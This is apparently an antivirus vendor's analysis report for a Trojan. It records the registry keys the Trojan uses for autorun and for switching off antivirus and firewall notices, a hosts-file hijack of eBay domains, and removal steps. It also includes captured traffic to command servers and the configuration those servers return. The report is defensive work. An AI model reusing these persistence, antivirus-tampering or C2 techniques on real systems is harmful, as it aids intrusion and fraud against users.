Gen.Variant.Zusy.133308_7b3c6ecfe4 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

jfknahb4ygnxdlnrpl.exe:2816
%original file name%.exe:928
ieuefgubpxfj.exe:640
ieuefgubpxfj.exe:4020
jfknahb6ulnx.exe:2916
jfknahbzednx.exe:1984
jfknahbmh3nx.exe:3504
xriigld.exe:5092

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process jfknahb4ygnxdlnrpl.exe:2816 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\oikpplhhngqs\tst (10 bytes)
%System%\oikpplhhngqs\etc (10 bytes)
%System%\ieuefgubpxfj.exe (7547 bytes)
%System%\drivers\etc\hosts (22 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process %original file name%.exe:928 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\oikpplhhngqs\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\jfknahb4ygnxdlnrpl.exe (7386 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\jfknahb4ygnxdlnrpl.exe (0 bytes)

The process ieuefgubpxfj.exe:640 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\oikpplhhngqs\tst (10 bytes)

The process ieuefgubpxfj.exe:4020 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\xriigld.exe (7547 bytes)
%System%\oikpplhhngqs\rng (80 bytes)
%WinDir%\Temp\jfknahb6ulnx.exe (35 bytes)
%System%\oikpplhhngqs\ihst (1 bytes)
%System%\oikpplhhngqs\run (10 bytes)
%WinDir%\Temp\jfknahbzednx.exe (35 bytes)
%WinDir%\Temp\jfknahbmh3nx.exe (7547 bytes)
%System%\oikpplhhngqs\tst (10 bytes)
%System%\oikpplhhngqs\cfg (2958 bytes)
%System%\drivers\etc\hosts (726 bytes)
%System%\oikpplhhngqs\por (1 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\jfknahb6ulnx.exe (0 bytes)
%WinDir%\Temp\jfknahbzednx.exe (0 bytes)
%WinDir%\Temp\jfknahbmh3nx.exe (0 bytes)

The process jfknahbmh3nx.exe:3504 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\oikpplhhngqs\tst (10 bytes)

The process xriigld.exe:5092 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\oikpplhhngqs\tst (10 bytes)

Registry activity

The process jfknahb4ygnxdlnrpl.exe:2816 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5E C8 08 EB 7C 25 F4 E0 6B AA 7D D4 99 7E 28 E1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Web Instrumentation Scheduler Ordering" = "%System%\ieuefgubpxfj.exe"

The process ieuefgubpxfj.exe:4020 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 20 56 25 74 C6 1A DF 88 0D 0D F9 AE 50 BD 1E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process jfknahb6ulnx.exe:2916 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CC D0 0F 7B 93 08 91 6F 33 33 65 25 D2 E9 EC 4C"

The process jfknahbzednx.exe:1984 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 3F 38 56 84 37 C6 BF 18 39 D8 79 96 37 4F 32"

The process jfknahbmh3nx.exe:3504 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 0B 20 5B 16 25 93 50 EC 46 6A F5 2F 37 25 EE"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 726 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	my.ebay.com
127.0.0.1	cgi.ebay.com
127.0.0.1	offer.ebay.com
127.0.0.1	feedback.ebay.com
127.0.0.1	motors.search.ebay.com
127.0.0.1	search.ebay.com
127.0.0.1	pages.ebay.com
127.0.0.1	pages.motors.ebay.com
127.0.0.1	myworld.ebay.com
127.0.0.1	motors.listings.ebay.com
127.0.0.1	cgi1.ebay.com
127.0.0.1	contact.ebay.com
127.0.0.1	srx.ebaymotors.ebayrtm.com
127.0.0.1	motors.shop.ebay.com
127.0.0.1	forums.ebay.com
127.0.0.1	answercenter.ebay.com
127.0.0.1	shop.ebay.com
127.0.0.1	ocs.ebay.com
127.0.0.1	cschatlb-na.corp.ebay.com
127.0.0.1	cschat1-na.corp.ebay.com
127.0.0.1	cschat.ebay.com
127.0.0.1	helpdesk.corp.ebay.com
127.0.0.1	qu.corp.ebay.com
127.0.0.1	www.ebay.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
jfknahb4ygnxdlnrpl.exe:2816
%original file name%.exe:928
ieuefgubpxfj.exe:640
ieuefgubpxfj.exe:4020
jfknahb6ulnx.exe:2916
jfknahbzednx.exe:1984
jfknahbmh3nx.exe:3504
xriigld.exe:5092
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%System%\oikpplhhngqs\tst (10 bytes)
%System%\oikpplhhngqs\etc (10 bytes)
%System%\ieuefgubpxfj.exe (7547 bytes)
%System%\drivers\etc\hosts (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\jfknahb4ygnxdlnrpl.exe (7386 bytes)
%System%\xriigld.exe (7547 bytes)
%System%\oikpplhhngqs\rng (80 bytes)
%WinDir%\Temp\jfknahb6ulnx.exe (35 bytes)
%System%\oikpplhhngqs\ihst (1 bytes)
%System%\oikpplhhngqs\run (10 bytes)
%WinDir%\Temp\jfknahbzednx.exe (35 bytes)
%WinDir%\Temp\jfknahbmh3nx.exe (7547 bytes)
%System%\oikpplhhngqs\cfg (2958 bytes)
%System%\oikpplhhngqs\por (1 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Web Instrumentation Scheduler Ordering" = "%System%\ieuefgubpxfj.exe"
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	832555	833024	4.46414	5f96cd29471c2b3990afc3c32af9062a
.rdata	839680	307538	307712	4.83523	77b2817ecb96b037af4fedb2c90c6b88
.data	1150976	42788	8192	3.24919	f5809ac36baa212c18fb3bd77a5659e1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://nailthere.net/index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr	98.139.135.198
hxxp://groupgrain.net/index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr	208.91.197.241
hxxp://eggbraker.com/index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=all&flag&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=hostname&host=my.ebay.com&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=checkport&port=38301&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://eggbraker.com/index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	216.239.139.116
hxxp://threeonly.net/index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr	208.91.197.241
fridayloss.net
fearstate.net
wrongbelow.net
hilldance.net
longcold.net
ableread.net

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 20

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:08 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

relayrqst

ID

..

GET /index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: groupgrain.net

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:50 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2868

Keep-Alive: timeout=5, max=124

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

..<html><head>...... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">...... <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">...... <meta name="viewport" content="width=device-width"><script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://groupgrain.net/?fp=CmMC3EX7uTzdD5paw8PjwOkpyZTGveXtyD8dv2D

<<< skipped >>>

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:57 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:55 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

1138.305...YU......2.eggbraker.com.........I...:o......f.S.....F....w.T.iR..{....../o:...x k4nI.;]....9..mh..{V...(....4 ;...).....=.I....f.4.%H0...`.n..{lV..".......3.9z.g.. ...J....W.n!..[........j......1...v N]x...........z....V.`5..M./i-.%.....'P}.p......._u.......\...........{...o....*.b;O.....X1....^.CqM...A...'p...k(..!............h.%..c$...9H.;.7.Xnw..F....3.Vx...........OA.......C...h.J ..Qzf......Ei....ix....O'..... ..[......Q.br....? .<...[q..lj58.[Tp'.X!;..iL.hks.h..D.X...v.K..Z; ...^.,m.i.......%y.L.}`..._.....h.(....jE....Z0?.e.KZ.!...ls..|.p)]....|....7>.5v^vQ.....Ut......v].X.8."...._.3..tG4...... oU|....*..P.n.....,....._..|?.hL._1...8.9...N.o[]Z..O.8.<..n./.8N... ?...b......q..k}[..^......12A..Xh..s.@....&O... .].4..6."&.B..-..M.n.......Ro..]A.....vj4.........p.A.6.."h..|.G.....@.~e.t.XJ^..vZ..8...........b.....F./..a...k|.......U.?......mz..."...s..L..=..z4.:^.....-a..7.0.r-.x,;0aIE...-,\.!.!<j..........x].7.....h^..7...{...~y...^........g.@..3. ......3}Z...fqB_o.e...*1.....j.........3d.......sl.J........su....<br.]...qz.yw.t0t..U..I........xZ.[iR.m?...#h.O.;~..%I..B.Jm.....=V?..O..z.hu.zU...w..a.[h.t.. a...

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:30 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:14 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

relayrqst

ID

..

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:04 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:57 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:03 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

781.ping.5.FLAG cfg.291."throughcontain.net" "fliersurprise.net" "classsurprise.net" "historybright.net" "maybellinethaddeus.net" "recordsoldier.net" "husbandfound.net" "kimberleyshavonne.net" "leadershort.net" "thosecontinue.net" "naildeep.com" "riddenstorm.net" "eggbraker.com" "destroystorm.net" "ithouneed.com" var_user_ip.443.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=3485bd14aac03583c8d34daecf434179&talk=1";.ëaylive% = "riddencircle.net";.Þp_host% = "kimberleydwerryhouse.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "107.155.116.180";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

GET /index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:16 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

778.ping.5.FLAG cfg.291."classsurprise.net" "leadershort.net" "throughcontain.net" "kimberleyshavonne.net" "historybright.net" "maybellinethaddeus.net" "fliersurprise.net" "thosecontinue.net" "recordsoldier.net" "husbandfound.net" "ithouneed.com" "naildeep.com" "destroystorm.net" "riddenstorm.net" "eggbraker.com" var_user_ip.440.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=3485bd14aac03583c8d34daecf434179&talk=1";.ëaylive% = "riddencircle.net";.Þp_host% = "simonettebethanie.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "107.155.116.180";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

relayrqst

ID

..

GET /index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: threeonly.net

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:56 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2838

Keep-Alive: timeout=5, max=119

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

..<html><head>...... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">...... <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">...... <meta name="viewport" content="width=device-width"><script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://threeonly.net/?fp=ouIyZOybSUU7fmFVGBXJhTrEeOLK6sKZpV45oJYi0

<<< skipped >>>

GET /index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:08 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

775.ping.5.FLAG cfg.291."throughcontain.net" "thosecontinue.net" "fliersurprise.net" "classsurprise.net" "historybright.net" "husbandfound.net" "leadershort.net" "maybellinethaddeus.net" "kimberleyshavonne.net" "recordsoldier.net" "destroystorm.net" "naildeep.com" "riddenstorm.net" "ithouneed.com" "eggbraker.com" var_user_ip.437.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=3485bd14aac03583c8d34daecf434179&talk=1";.ëaylive% = "riddencircle.net";.Þp_host% = "rememberalways.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "107.155.116.180";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

relayrqst

ID

..

GET /index.php?method=validate&mode=sox&v=047&sox=48972600&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: nailthere.net

HTTP/1.0 502 Cannot find server.

Date: Fri, 15 May 2015 17:08:46 GMT

Server: ATS/5.0.1

Cache-Control: no-store

Content-Type: text/html

Content-Language: en

Content-Length: 391

<HTML>.<HEAD>.<TITLE>Unknown Host</TITLE>.</HEAD>..<BODY BGCOLOR="white" FGCOLOR="black">.<H1>Unknown Host</H1>.<HR>..<FONT FACE="Helvetica,Arial"><B>.Description: Unable to locate the server requested ---.the server does not have a DNS entry. Perhaps there is a misspelling.in the server name, or the server no longer exists. Double-check the.name and try again..</B></FONT>.<HR>.</BODY>...

GET /index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:21 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

781.ping.5.FLAG cfg.291."husbandfound.net" "recordsoldier.net" "throughcontain.net" "leadershort.net" "maybellinethaddeus.net" "historybright.net" "kimberleyshavonne.net" "classsurprise.net" "fliersurprise.net" "thosecontinue.net" "naildeep.com" "destroystorm.net" "eggbraker.com" "ithouneed.com" "riddenstorm.net" var_user_ip.443.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=3485bd14aac03583c8d34daecf434179&talk=1";.ëaylive% = "riddencircle.net";.Þp_host% = "stephaniamottershead.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "107.155.116.180";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:27 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:25 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=checkport&port=38301&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:58 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

0...

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:22 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

relayrqst

ID

..

GET /index.php?method=hostname&host=my.ebay.com&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:08:57 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

25............................

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:10 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:17 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:01 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

GET /index.php?method=all&mode=sox&v=047&sox=48972600&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:31 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

781.ping.5.FLAG cfg.291."historybright.net" "classsurprise.net" "fliersurprise.net" "leadershort.net" "kimberleyshavonne.net" "thosecontinue.net" "throughcontain.net" "husbandfound.net" "maybellinethaddeus.net" "recordsoldier.net" "riddenstorm.net" "naildeep.com" "ithouneed.com" "destroystorm.net" "eggbraker.com" var_user_ip.443.%invite_cc% = "1";.ºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=3485bd14aac03583c8d34daecf434179&talk=1";.ëaylive% = "riddencircle.net";.Þp_host% = "kimberleydwerryhouse.net";.Þp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "107.155.116.180";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=047&sox=48972600&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: eggbraker.com

HTTP/1.1 200 OK

Date: Fri, 15 May 2015 17:09:33 GMT

Server: Apache/2

Connection: close

Content-Type: text/html

11..............

